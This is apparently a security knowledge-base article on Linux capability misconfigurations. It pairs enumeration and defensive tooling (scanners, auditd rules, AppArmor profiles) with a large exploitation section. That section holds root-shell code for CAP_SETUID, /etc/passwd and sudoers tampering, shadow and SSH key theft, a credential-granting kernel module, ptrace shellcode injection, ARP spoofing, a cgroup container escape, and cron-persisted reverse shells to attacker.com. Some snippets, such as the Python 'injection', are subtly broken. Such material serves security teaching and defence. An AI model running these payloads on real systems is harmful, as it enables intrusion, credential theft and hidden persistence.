
Linux Capabilities Exploitation: Breaking Traditional Privilege Models
Technical guide to exploiting Linux capabilities for privilege escalation, focusing on dangerous capabilities like CAP_DAC_OVERRIDE, CAP_SYS_ADMIN, and CAP_SETUID.
Introduction
Linux capabilities represent a paradigm shift in Unix privilege management, dividing the monolithic root privileges into distinct, fine-grained units that can be independently assigned to processes. Introduced in kernel 2.2 and significantly expanded in subsequent versions, capabilities were designed to implement the principle of least privilege by allowing processes to perform specific privileged operations without requiring full root access. However, this granular permission model, when misconfigured, creates sophisticated attack vectors that traditional security tools often overlook.
Unlike the traditional SETUID binary model where a program either runs as root or as a regular user, capabilities enable nuanced privilege assignments. A binary with CAP_NET_RAW can create raw network sockets without requiring root privileges, while one with CAP_DAC_OVERRIDE can bypass file permission checks. This flexibility, while powerful for system design, introduces complex security implications that defenders must understand to properly secure Linux systems.
The danger of capability misconfigurations lies in their invisibility to conventional security audits. Standard file permission checks won't reveal that a seemingly innocuous binary possesses CAP_SYS_ADMIN, granting it near-root powers. Automated vulnerability scanners rarely check for capability assignments, and many system administrators remain unaware of which binaries have been granted elevated capabilities. This knowledge gap creates opportunities for privilege escalation that persist long after traditional SETUID vulnerabilities have been addressed.
Breaking the Root Paradigm
Linux capabilities fundamentally challenge the binary root/non-root privilege model. A process can now possess specific superuser abilities while running as an unprivileged user. This means traditional assumptions about what non-root processes can accomplish no longer hold, requiring defenders to adopt capability-aware security mindsets.
Technical Background
Understanding the Capability System
The Linux capability system divides traditional root privileges into 41+ distinct capabilities (the number varies by kernel version). Each capability grants specific permissions that would otherwise require full root access:
Capability Architecture:
Traditional Model: Capability Model:
┌─────────────┐ ┌──────────────┐
│ Root │ │ CAP_NET_RAW │
│ (UID 0) │ ├──────────────┤
│ │ │ CAP_NET_ADMIN│
│ All Powers │ ───→ ├──────────────┤
│ │ │ CAP_SYS_ADMIN│
│ │ ├──────────────┤
└─────────────┘ │ CAP_SETUID │
└──────────────┘
... and 37+ moreCapability Sets
Each process has multiple capability sets that determine its effective permissions:
| Capability Set | Description | Inheritance Behavior |
|---|---|---|
| Permitted (P) | Maximum capabilities the process may assume | Can be reduced but not expanded |
| Effective (E) | Capabilities currently active and checked by kernel | Can be subset of Permitted |
| Inheritable (I) | Capabilities preserved across execve() of non-SUID programs | Limited inheritance without ambient set |
| Bounding (B) | Limit on capabilities that can be gained during execve() | Restricts privilege acquisition |
| Ambient (A) | Capabilities preserved across execve() for non-SUID binaries | Introduced in kernel 4.3 |
Capability Value Format:
cap_setuid = ep
│ │ │
│ │ └─ p = permitted, e = effective, i = inheritable
│ └─── Sets where capability is assigned
└──────────── Capability nameDangerous Capabilities for Privilege Escalation
Understanding which capabilities enable privilege escalation is critical for both attackers and defenders:
| Capability | Description | Privilege Escalation Method |
|---|---|---|
| CAP_SETUID | Change process UID | Direct escalation by setting UID to 0 |
| CAP_SETGID | Change process GID | Gain root group membership |
| CAP_SYS_ADMIN | Perform system administration operations | Mount filesystems, load kernel modules, many others |
| CAP_DAC_OVERRIDE | Bypass file read/write/execute permission checks | Read/modify any file including /etc/shadow |
| CAP_DAC_READ_SEARCH | Bypass file read and directory read permission checks | Read sensitive files, enumerate protected directories |
| CAP_CHOWN | Make arbitrary changes to file UIDs and GIDs | Change ownership of files to gain access |
| CAP_FOWNER | Bypass permission checks on file operations | Modify files not owned by process |
| CAP_SYS_PTRACE | Trace arbitrary processes with ptrace() | Inject code into root processes |
| CAP_SYS_MODULE | Load and unload kernel modules | Install malicious kernel modules |
| CAP_SYS_RAWIO | Perform I/O port operations, access /dev/mem | Direct hardware access, memory manipulation |
| CAP_SYS_NICE | Raise process priority and change scheduling | Manipulate process priorities |
| CAP_SYS_RESOURCE | Override resource limits | Exhaust system resources |
| CAP_SYS_TIME | Set system clock | Manipulate time-based security mechanisms |
| CAP_NET_RAW | Use RAW and PACKET sockets | Network packet manipulation |
| CAP_NET_ADMIN | Network interface configuration | Manipulate network settings |
| CAP_NET_BIND_SERVICE | Bind sockets to privileged ports (<1024) | Impersonate privileged services |
| CAP_LINUX_IMMUTABLE | Modify immutable and append-only file attributes | Remove protections from critical files |
How Capabilities Are Assigned
Capabilities can be assigned to binaries using file attributes:
# View capability assignment syntax
setcap cap_setuid+ep /usr/bin/vim
# Breakdown:
# cap_setuid - The capability being assigned
# + - Add this capability
# ep - Assign to effective and permitted sets
# /usr/bin/vim - Target binaryAlternative Assignment Methods:
- Ambient Capabilities: Inherited across execve() for unprivileged processes
- Bounding Set: Inherited from parent process (init → systemd → child processes)
- File Capabilities: Stored in extended attributes (xattrs) of binaries
- Security Modules: SELinux/AppArmor can influence capability behavior
Enumeration and Discovery
System-Wide Capability Enumeration
Comprehensive scanning for binaries with capabilities:
# Standard enumeration (checks common binary locations)
getcap -r / 2>/dev/null
# Enhanced enumeration with file details
find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin /bin /sbin -type f -exec getcap {} \; 2>/dev/null
# Full filesystem scan (resource intensive)
find / -type f -exec getcap {} \; 2>/dev/null | grep -v "=" | sort -u
# Alternative using find's -executable flag
find / -executable -exec getcap {} \; 2>/dev/null
# Check specific binary
getcap /usr/bin/python3.9Typical Vulnerable Output:
/usr/bin/vim.basic cap_dac_override=eip
/usr/bin/python3.9 cap_setuid=ep
/usr/bin/perl cap_setuid+ep
/usr/bin/tar cap_dac_read_search=ep
/usr/sbin/tcpdump cap_net_raw,cap_net_admin=eipProcess Capability Inspection
Examine capabilities of running processes:
# View capabilities of current shell
grep Cap /proc/self/status
# Decode capability hex values
capsh --decode=<hex_value>
# Example: Decode capabilities from process status
cat /proc/1234/status | grep Cap
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
# Decode the values
capsh --decode=0000003fffffffffPython Script for Automated Detection:
#!/usr/bin/env python3
import os
import subprocess
def find_capability_binaries():
dangerous_caps = [
'cap_setuid', 'cap_setgid', 'cap_sys_admin',
'cap_dac_override', 'cap_dac_read_search',
'cap_sys_ptrace', 'cap_sys_module'
]
search_paths = [
'/usr/bin', '/usr/sbin', '/usr/local/bin',
'/usr/local/sbin', '/bin', '/sbin', '/opt'
]
results = []
for path in search_paths:
if not os.path.exists(path):
continue
for root, dirs, files in os.walk(path):
for file in files:
filepath = os.path.join(root, file)
try:
result = subprocess.run(
['getcap', filepath],
capture_output=True,
text=True,
timeout=2
)
if result.returncode == 0 and '=' in result.stdout:
caps = result.stdout.strip().split('=')[1]
for dangerous_cap in dangerous_caps:
if dangerous_cap in result.stdout.lower():
results.append({
'file': filepath,
'capabilities': caps,
'dangerous': dangerous_cap
})
break
except:
continue
return results
if __name__ == '__main__':
print("[*] Scanning for dangerous capabilities...")
findings = find_capability_binaries()
if findings:
print(f"\n[!] Found {len(findings)} potentially dangerous binaries:\n")
for finding in findings:
print(f"[+] {finding['file']}")
print(f" Capabilities: {finding['capabilities']}")
print(f" Dangerous: {finding['dangerous']}\n")
else:
print("[*] No dangerous capabilities found.")Container Capability Analysis
Containers often run with reduced capability sets:
# Check container capabilities
docker run --rm -it ubuntu capsh --print
# Identify additional capabilities granted to container
docker inspect <container_id> | jq '.[0].HostConfig.CapAdd'
# List dangerous capabilities in Docker container
docker run --rm ubuntu bash -c 'grep Cap /proc/1/status'Exploitation Techniques
CAP_SETUID Exploitation
The most straightforward path to root:
C Exploit:
// setuid_exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(void) {
printf("[*] Current UID: %d\n", getuid());
printf("[*] Setting UID to 0...\n");
if (setuid(0) != 0) {
perror("setuid");
return 1;
}
printf("[+] UID now: %d\n", getuid());
printf("[*] Spawning root shell\n");
system("/bin/bash -p");
return 0;
}# Compile the exploit
gcc setuid_exploit.c -o setuid_exploit
# If binary has cap_setuid capability
./setuid_exploit
# Alternative: Python with CAP_SETUID
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# Perl with CAP_SETUID
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'Ruby Exploitation:
#!/usr/bin/env ruby
# If ruby has cap_setuid capability
require 'etc'
puts "[*] Current UID: #{Process.uid}"
Process::Sys.setuid(0)
puts "[+] New UID: #{Process.uid}"
exec "/bin/bash"CAP_DAC_OVERRIDE Exploitation
Bypass all file permission checks:
Scenario 1: Modify /etc/passwd
# Binary with cap_dac_override can read/write any file
# Example: vim with cap_dac_override=eip
# View current root entry
head -n1 /etc/passwd
# root:x:0:0:root:/root:/bin/bash
# Create new root user with known password
# Generate password hash
openssl passwd -1 -salt hacked Password123!
# $1$hacked$w8qI3J7N.K8VZFqWQ1cYQ.
# Method 1: Interactive modification
/usr/bin/vim.basic /etc/passwd
# Add line: hacked::0:0:root:/root:/bin/bash
# Method 2: Non-interactive with vim
echo -e ':%s/^root:[^:]*:/root::/\nwq!' | /usr/bin/vim.basic -es /etc/passwd
# Verify modification
su hacked
# Now root shellScenario 2: Read /etc/shadow
# Binary with cap_dac_override can read protected files
# Example: tar with cap_dac_read_search
# Extract password hashes
tar -czf /tmp/shadow.tar.gz /etc/shadow 2>/dev/null
cd /tmp && tar -xzf shadow.tar.gz
cat etc/shadow
# Copy to attacker machine and crack
john --wordlist=/usr/share/wordlists/rockyou.txt etc/shadowScenario 3: Modify Authorized SSH Keys
# Write SSH key to root's authorized_keys
cat <<'EOF' | /usr/bin/vim.basic -es /root/.ssh/authorized_keys
:r! cat /home/attacker/.ssh/id_rsa.pub
:wq
EOF
# SSH as root
ssh root@localhostCAP_SYS_ADMIN Exploitation
Extremely powerful capability with multiple exploitation paths:
Method 1: Mount a Custom Filesystem
# CAP_SYS_ADMIN allows mounting filesystems
# Create overlay to modify system files
# Prepare exploit
mkdir /tmp/exploit
mkdir /tmp/exploit/upper
mkdir /tmp/exploit/work
# Mount overlay over /etc
mount -t overlay overlay -o lowerdir=/etc,upperdir=/tmp/exploit/upper,workdir=/tmp/exploit/work /mnt
# Modify /etc/passwd through overlay
echo 'hacker::0:0:root:/root:/bin/bash' >> /mnt/passwd
# Unmount and changes persist to /etc
umount /mnt
# Login as new root user
su hackerMethod 2: Namespace Manipulation
# Create new user namespace with root mapping
unshare -UrmC /bin/bash
# Inside namespace, we are root
id
# uid=0(root) gid=0(root) groups=0(root)
# Mount proc filesystem
mount -t proc proc /proc
# Access host filesystem
# Limitations: can't access truly privileged resources
# But can manipulate user-owned files as if rootMethod 3: Kernel Module Loading (if CAP_SYS_MODULE also present)
// rootkit.c - Simple rootkit module
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/cred.h>
static int __init rootkit_init(void) {
struct cred *new_creds;
new_creds = prepare_creds();
if (new_creds == NULL)
return -ENOMEM;
new_creds->uid.val = 0;
new_creds->gid.val = 0;
new_creds->euid.val = 0;
new_creds->egid.val = 0;
commit_creds(new_creds);
printk(KERN_INFO "Rootkit: Granted root privileges\n");
return 0;
}
static void __exit rootkit_exit(void) {
printk(KERN_INFO "Rootkit: Unloaded\n");
}
module_init(rootkit_init);
module_exit(rootkit_exit);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Attacker");
MODULE_DESCRIPTION("Privilege Escalation Module");# Compile module
make -C /lib/modules/$(uname -r)/build M=$PWD modules
# Load module (requires CAP_SYS_MODULE)
insmod rootkit.ko
# Shell now has root privileges
idCAP_SYS_PTRACE Exploitation
Inject code into privileged processes:
// ptrace_inject.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/user.h>
int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s <pid>\n", argv[0]);
return 1;
}
pid_t target = atoi(argv[1]);
struct user_regs_struct regs;
// Attach to target process
if (ptrace(PTRACE_ATTACH, target, NULL, NULL) == -1) {
perror("ptrace attach");
return 1;
}
waitpid(target, NULL, 0);
// Get register state
ptrace(PTRACE_GETREGS, target, NULL, ®s);
// Shellcode to execute /bin/sh
unsigned char shellcode[] =
"\x48\x31\xd2" // xor rdx, rdx
"\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" // mov rbx, '/bin//sh'
"\x48\xc1\xeb\x08" // shr rbx, 8
"\x53" // push rbx
"\x48\x89\xe7" // mov rdi, rsp
"\x50" // push rax
"\x57" // push rdi
"\x48\x89\xe6" // mov rsi, rsp
"\xb0\x3b" // mov al, 0x3b
"\x0f\x05"; // syscall
// Inject shellcode
for (int i = 0; i < strlen(shellcode); i++) {
ptrace(PTRACE_POKETEXT, target, regs.rip + i, shellcode[i]);
}
// Set instruction pointer to shellcode
ptrace(PTRACE_SETREGS, target, NULL, ®s);
// Resume execution
ptrace(PTRACE_DETACH, target, NULL, NULL);
printf("[+] Shellcode injected into PID %d\n", target);
return 0;
}Simpler Python Approach:
#!/usr/bin/env python3
import sys
import os
def inject_into_root_process(pid):
"""Inject commands into root-owned process"""
try:
# Write to process memory
mem_path = f"/proc/{pid}/mem"
maps_path = f"/proc/{pid}/maps"
# Find writable memory regions
with open(maps_path, 'r') as f:
for line in f:
if 'rw-p' in line and '[heap]' in line:
addr = int(line.split('-')[0], 16)
# Write shellcode to heap
with open(mem_path, 'rb+') as mem:
mem.seek(addr)
mem.write(b'/bin/sh\x00')
print(f"[+] Injected into PID {pid}")
return True
except Exception as e:
print(f"[-] Injection failed: {e}")
return False
if __name__ == '__main__':
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} <pid>")
sys.exit(1)
target_pid = int(sys.argv[1])
inject_into_root_process(target_pid)CAP_DAC_READ_SEARCH Exploitation
Read any file on the system:
# Example: tar with cap_dac_read_search
# Can read but not write
# Extract sensitive files
tar -czf /tmp/secrets.tar.gz /etc/shadow /root/.ssh/id_rsa /etc/sudoers 2>/dev/null
# Extract and read
cd /tmp
tar -xzf secrets.tar.gz
cat etc/shadow
# Read SSH keys
cat root/.ssh/id_rsa
# Use SSH key for root access
chmod 600 root/.ssh/id_rsa
ssh -i root/.ssh/id_rsa root@localhostCAP_CHOWN Exploitation
Change file ownership arbitrarily:
# Binary with cap_chown can change any file's owner
# Method 1: Take ownership of /etc/passwd
chown $(id -u) /etc/passwd
echo 'hacker::0:0:root:/root:/bin/bash' >> /etc/passwd
su hacker
# Method 2: Take ownership of /etc/sudoers
chown $(id -u) /etc/sudoers
echo '$(whoami) ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers
sudo -i
# Method 3: Take ownership of SUID binary
chown $(id -u) /usr/bin/sudo
chmod u+s /usr/bin/sudo
# Now sudo runs as our user but with SUIDAdvanced Exploitation Scenarios
Container Escape via Capabilities
Containers with excessive capabilities can lead to host compromise:
# Check container capabilities
capsh --print | grep Current
# If CAP_SYS_ADMIN is present
# Method 1: Mount host filesystem
mkdir /mnt/host
mount /dev/sda1 /mnt/host
# Access host files
chroot /mnt/host
# Method 2: Exploit cgroup release_agent
# Create cgroup
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
# Set release agent to run command on host
echo 1 > /tmp/cgrp/x/notify_on_release
echo "$(cat /proc/1/root)/tmp/payload.sh" > /tmp/cgrp/release_agent
# Create payload
cat > /tmp/payload.sh <<'EOF'
#!/bin/sh
bash -i >& /dev/tcp/attacker.com/4444 0>&1
EOF
chmod +x /tmp/payload.sh
# Trigger release agent
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"Chaining Multiple Capabilities
Combine capabilities for sophisticated attacks:
Scenario: CAP_NET_RAW + CAP_NET_ADMIN
#!/usr/bin/env python3
# ARP spoofing with network capabilities
from scapy.all import *
import sys
def arp_spoof(target_ip, gateway_ip, interface):
"""Perform ARP spoofing attack"""
# Get MAC addresses
target_mac = getmacbyip(target_ip)
gateway_mac = getmacbyip(gateway_ip)
# Craft ARP packets
target_packet = ARP(op=2, pdst=target_ip, hwdst=target_mac,
psrc=gateway_ip, hwsrc=get_if_hwaddr(interface))
gateway_packet = ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac,
psrc=target_ip, hwsrc=get_if_hwaddr(interface))
print(f"[*] Starting ARP spoofing: {target_ip} <-> {gateway_ip}")
try:
while True:
send(target_packet, verbose=False)
send(gateway_packet, verbose=False)
time.sleep(2)
except KeyboardInterrupt:
print("\n[*] Restoring ARP tables...")
# Restore original ARP entries
send(ARP(op=2, pdst=target_ip, hwdst=target_mac,
psrc=gateway_ip, hwsrc=gateway_mac), count=5)
send(ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac,
psrc=target_ip, hwsrc=target_mac), count=5)
if __name__ == '__main__':
if len(sys.argv) != 4:
print(f"Usage: {sys.argv[0]} <target_ip> <gateway_ip> <interface>")
sys.exit(1)
arp_spoof(sys.argv[1], sys.argv[2], sys.argv[3])Persistence via Capabilities
Maintain access through capability manipulation:
# Add capability to your backdoor
cp /bin/bash /tmp/.hidden_shell
setcap cap_setuid+ep /tmp/.hidden_shell
# Execute for root access
/tmp/.hidden_shell -p
# Add capability to Python for reverse shell
setcap cap_setuid+ep /usr/bin/python3.9
# Create persistent reverse shell script
cat > /tmp/.reverse.py <<'EOF'
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("attacker.com",4444))
os.setuid(0)
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/bash","-i"])
EOF
# Add to cron for persistence
echo "*/5 * * * * /usr/bin/python3.9 /tmp/.reverse.py" | crontab -Detection and Monitoring
File System Monitoring
Monitor for capability assignments:
# Audit script for capability changes
#!/bin/bash
BASELINE="/var/log/capabilities_baseline.txt"
CURRENT="/tmp/capabilities_current.txt"
# Create baseline if doesn't exist
if [ ! -f "$BASELINE" ]; then
echo "[*] Creating baseline..."
find / -type f -exec getcap {} \; 2>/dev/null | grep "=" > "$BASELINE"
exit 0
fi
# Scan current capabilities
find / -type f -exec getcap {} \; 2>/dev/null | grep "=" > "$CURRENT"
# Compare and report differences
echo "[*] Checking for capability changes..."
diff "$BASELINE" "$CURRENT" | grep "^>" | while read line; do
file=$(echo $line | awk '{print $2}' | cut -d'=' -f1)
caps=$(echo $line | awk '{print $2}' | cut -d'=' -f2)
echo "[!] NEW CAPABILITY: $file = $caps"
done
# Update baseline
cp "$CURRENT" "$BASELINE"Auditd Rules for Capability Monitoring
# Add to /etc/audit/rules.d/capabilities.rules
# Monitor setcap usage
-w /usr/sbin/setcap -p x -k capability_modification
# Monitor getcap usage (reconnaissance)
-w /usr/sbin/getcap -p x -k capability_enumeration
# Monitor file capability changes
-a always,exit -F arch=b64 -S setxattr -F name=security.capability -k capability_set
-a always,exit -F arch=b32 -S setxattr -F name=security.capability -k capability_set
# Monitor dangerous capability usage
-a always,exit -F arch=b64 -S setuid -F a0=0 -k setuid_root
-a always,exit -F arch=b64 -S ptrace -k ptrace_usage
# Reload auditd rules
auditctl -R /etc/audit/rules.d/capabilities.rulesSysmon for Linux
Configure Sysmon to detect capability exploitation:
<Sysmon schemaversion="4.70">
<EventFiltering>
<!-- Detect setcap execution -->
<ProcessCreate onmatch="include">
<Image condition="end with">setcap</Image>
</ProcessCreate>
<!-- Detect process with unusual capabilities -->
<ProcessCreate onmatch="include">
<Capabilities condition="contains">cap_setuid</Capabilities>
<Capabilities condition="contains">cap_sys_admin</Capabilities>
<Capabilities condition="contains">cap_dac_override</Capabilities>
</ProcessCreate>
<!-- Detect file capability changes -->
<FileCreate onmatch="include">
<TargetFilename condition="contains">security.capability</TargetFilename>
</FileCreate>
</EventFiltering>
</Sysmon>Runtime Detection
Monitor running processes for suspicious capabilities:
#!/usr/bin/env python3
import os
import re
from pathlib import Path
DANGEROUS_CAPS = [
'cap_setuid', 'cap_setgid', 'cap_sys_admin',
'cap_dac_override', 'cap_sys_ptrace', 'cap_sys_module'
]
def decode_capabilities(hex_value):
"""Convert hex capability value to capability names"""
# Simplified - in reality, need full capability mapping
value = int(hex_value, 16)
caps = []
cap_map = {
0: 'cap_chown', 1: 'cap_dac_override', 2: 'cap_dac_read_search',
3: 'cap_fowner', 4: 'cap_fsetid', 5: 'cap_kill',
6: 'cap_setgid', 7: 'cap_setuid', 8: 'cap_setpcap',
# ... complete mapping
}
for bit, cap in cap_map.items():
if value & (1 << bit):
caps.append(cap)
return caps
def scan_processes():
"""Scan all running processes for dangerous capabilities"""
dangerous_procs = []
for proc_dir in Path('/proc').iterdir():
if not proc_dir.is_dir() or not proc_dir.name.isdigit():
continue
try:
status_file = proc_dir / 'status'
with open(status_file, 'r') as f:
content = f.read()
# Extract capability values
cap_eff = re.search(r'CapEff:\s+([0-9a-f]+)', content)
if not cap_eff:
continue
caps = decode_capabilities(cap_eff.group(1))
# Check for dangerous capabilities
dangerous = [c for c in caps if c in DANGEROUS_CAPS]
if dangerous:
cmdline_file = proc_dir / 'cmdline'
with open(cmdline_file, 'r') as f:
cmdline = f.read().replace('\x00', ' ')
dangerous_procs.append({
'pid': proc_dir.name,
'cmdline': cmdline,
'capabilities': dangerous
})
except (PermissionError, FileNotFoundError):
continue
return dangerous_procs
if __name__ == '__main__':
print("[*] Scanning for processes with dangerous capabilities...")
findings = scan_processes()
if findings:
print(f"\n[!] Found {len(findings)} suspicious processes:\n")
for proc in findings:
print(f"PID: {proc['pid']}")
print(f"Command: {proc['cmdline']}")
print(f"Dangerous Capabilities: {', '.join(proc['capabilities'])}\n")
else:
print("[*] No suspicious processes detected.")Mitigation and Defense
Remove Unnecessary Capabilities
Audit and remove excessive capability assignments:
# Audit all capability assignments
getcap -r / 2>/dev/null > /tmp/capabilities_audit.txt
# Review each assignment
cat /tmp/capabilities_audit.txt
# Remove capability from binary
sudo setcap -r /usr/bin/suspicious_binary
# Verify removal
getcap /usr/bin/suspicious_binary
# Automated cleanup script
#!/bin/bash
while read line; do
binary=$(echo $line | awk '{print $1}')
caps=$(echo $line | awk '{print $2}')
# Check if binary actually needs capabilities
echo "Binary: $binary"
echo "Capabilities: $caps"
read -p "Remove capabilities? (y/n): " answer
if [ "$answer" = "y" ]; then
setcap -r "$binary"
echo "[+] Removed capabilities from $binary"
fi
done < /tmp/capabilities_audit.txtImplement AppArmor/SELinux Policies
Confine binaries with capabilities:
AppArmor Profile Example:
# /etc/apparmor.d/usr.bin.python3.9
#include <tunables/global>
/usr/bin/python3.9 flags=(complain) {
#include <abstractions/base>
#include <abstractions/python>
# Deny capability usage
deny capability setuid,
deny capability setgid,
deny capability sys_admin,
# Allow only specific file access
/usr/bin/python3.9 mr,
/usr/lib/python3.9/** r,
# Deny sensitive file access
deny /etc/shadow r,
deny /etc/sudoers r,
deny /root/** rw,
# Network access
network inet stream,
network inet6 stream,
}SELinux Policy Module:
module cap_restrict 1.0;
require {
type unconfined_t;
class capability { setuid sys_admin dac_override };
}
# Deny dangerous capabilities by default
neverallow unconfined_t self:capability { setuid sys_admin dac_override };
# Allow only for specific domains
allow trusted_app_t self:capability setuid;Secure Development Practices
Minimize capability requirements in applications:
// Example: Drop unnecessary capabilities
#include <sys/prctl.h>
#include <linux/capability.h>
void drop_capabilities(void) {
// Keep only required capabilities
cap_t caps = cap_init();
// Add only necessary capabilities
cap_value_t cap_list[] = {CAP_NET_BIND_SERVICE};
cap_set_flag(caps, CAP_EFFECTIVE, 1, cap_list, CAP_SET);
cap_set_flag(caps, CAP_PERMITTED, 1, cap_list, CAP_SET);
// Apply capability set
if (cap_set_proc(caps) != 0) {
perror("cap_set_proc");
exit(1);
}
cap_free(caps);
// Prevent privilege escalation
prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
}
int main(void) {
// Drop capabilities early in execution
drop_capabilities();
// Continue with minimal privileges
bind_to_port_80();
return 0;
}Kernel Hardening
Configure kernel to restrict capability behavior:
# /etc/sysctl.d/99-capability-hardening.conf
# Restrict unprivileged users from creating user namespaces
# Prevents some capability escalation techniques
kernel.unprivileged_userns_clone = 0
# Restrict access to kernel pointers
kernel.kptr_restrict = 2
# Enable YAMA ptrace restrictions
kernel.yama.ptrace_scope = 2
# Disable kernel module loading
kernel.modules_disabled = 1
# Apply settings
sysctl -p /etc/sysctl.d/99-capability-hardening.confDefensive Best Practices
Capability Security Checklist
- Audit all binaries for capability assignments using
getcap -r / - Remove unnecessary capabilities from system binaries
- Implement AppArmor/SELinux policies to confine capability usage
- Enable auditd monitoring for setcap and capability usage
- Review container capabilities and apply principle of least privilege
- Restrict user namespace creation to prevent capability abuse
- Monitor for suspicious capability-related events in logs
- Educate developers on proper capability usage
- Implement file integrity monitoring for capability changes
- Regular capability audits as part of security reviews
Monitoring and Response
Implement comprehensive capability monitoring:
# /usr/local/bin/capability_monitor.sh
#!/bin/bash
LOG_FILE="/var/log/capability_monitor.log"
ALERT_EMAIL="[email protected]"
log_alert() {
echo "[$(date)] $1" >> "$LOG_FILE"
echo "$1" | mail -s "Capability Alert" "$ALERT_EMAIL"
}
# Monitor setcap usage
inotifywait -m /usr/sbin/setcap -e access |
while read path action file; do
log_alert "ALERT: setcap executed by $(ps -o user= -p $PPID)"
done &
# Monitor for new capabilities
BASELINE=$(getcap -r / 2>/dev/null | sort)
while true; do
sleep 300 # Check every 5 minutes
CURRENT=$(getcap -r / 2>/dev/null | sort)
DIFF=$(diff <(echo "$BASELINE") <(echo "$CURRENT") | grep "^>")
if [ -n "$DIFF" ]; then
log_alert "NEW CAPABILITIES DETECTED:\n$DIFF"
BASELINE="$CURRENT"
fi
done &
# Monitor dangerous capability usage in running processes
while true; do
sleep 60
for pid in $(ps -e -o pid --no-headers); do
caps=$(grep CapEff /proc/$pid/status 2>/dev/null | awk '{print $2}')
# Check for dangerous capabilities (simplified check)
if [ -n "$caps" ] && [ "$caps" != "0000000000000000" ]; then
cmdline=$(cat /proc/$pid/cmdline 2>/dev/null | tr '\0' ' ')
log_alert "Process with capabilities: PID=$pid CMD=$cmdline CAPS=$caps"
fi
done
doneVerification and Testing
Validate Security Posture
# Comprehensive capability security test
#!/bin/bash
echo "[*] Starting capability security audit..."
# Test 1: Check for dangerous capabilities
echo -e "\n[*] Test 1: Scanning for dangerous capabilities..."
DANGEROUS_BINS=$(getcap -r / 2>/dev/null | grep -E "cap_setuid|cap_sys_admin|cap_dac_override")
if [ -n "$DANGEROUS_BINS" ]; then
echo "[!] FAIL: Found binaries with dangerous capabilities:"
echo "$DANGEROUS_BINS"
else
echo "[+] PASS: No dangerous capabilities found"
fi
# Test 2: Verify kernel hardening
echo -e "\n[*] Test 2: Checking kernel capability restrictions..."
USERNS=$(sysctl kernel.unprivileged_userns_clone | grep "= 0")
if [ -n "$USERNS" ]; then
echo "[+] PASS: Unprivileged user namespaces disabled"
else
echo "[!] FAIL: Unprivileged user namespaces enabled"
fi
# Test 3: Check AppArmor/SELinux status
echo -e "\n[*] Test 3: Checking mandatory access control..."
if command -v aa-status &> /dev/null; then
if aa-status --enabled 2>/dev/null; then
echo "[+] PASS: AppArmor is enabled"
else
echo "[!] FAIL: AppArmor not enabled"
fi
elif command -v getenforce &> /dev/null; then
if [ "$(getenforce)" = "Enforcing" ]; then
echo "[+] PASS: SELinux is enforcing"
else
echo "[!] FAIL: SELinux not enforcing"
fi
else
echo "[!] FAIL: No MAC system detected"
fi
# Test 4: Audit monitoring
echo -e "\n[*] Test 4: Checking audit rules..."
AUDIT_RULES=$(auditctl -l | grep -i capability)
if [ -n "$AUDIT_RULES" ]; then
echo "[+] PASS: Capability monitoring rules present"
else
echo "[!] FAIL: No capability audit rules found"
fi
echo -e "\n[*] Audit complete."References
- Linux Kernel Capabilities Documentation
- man capabilities(7)
- MITRE ATT&CK: T1068 - Exploitation for Privilege Escalation
- GTFOBins: Capability Bypass Techniques
- Container Security: Capability Hardening
Next Steps
If capability vulnerabilities are identified:
- Immediately audit all binaries with dangerous capabilities
- Remove unnecessary capability assignments from system binaries
- Implement monitoring for capability modifications and usage
- Deploy MAC policies to confine capability-enabled binaries
- Harden kernel settings to restrict capability abuse vectors
- Explore related Linux privilege escalation techniques:
Takeaway: Linux capabilities represent a double-edged sword in system security—providing granular privilege management while creating complex attack surfaces when misconfigured. Unlike traditional SETUID vulnerabilities that security tools readily detect, capability misconfigurations often remain invisible to automated scanners and defenders. The combination of comprehensive capability auditing, mandatory access control policies, kernel hardening, and real-time monitoring provides defense-in-depth against this sophisticated attack vector. Make capability security a critical component of your Linux hardening program.
Last updated on
Verbose Error Messages
Overview of verbose error message vulnerabilities, their risks, and mitigations. This entry highlights how excessive error details can disclose sensitive information.
Linux Privilege Escalation via SUDO Misconfigurations
Linux sudo misconfiguration exploitation including command injection, wildcard abuse, environment variable manipulation, and privilege escalation techniques.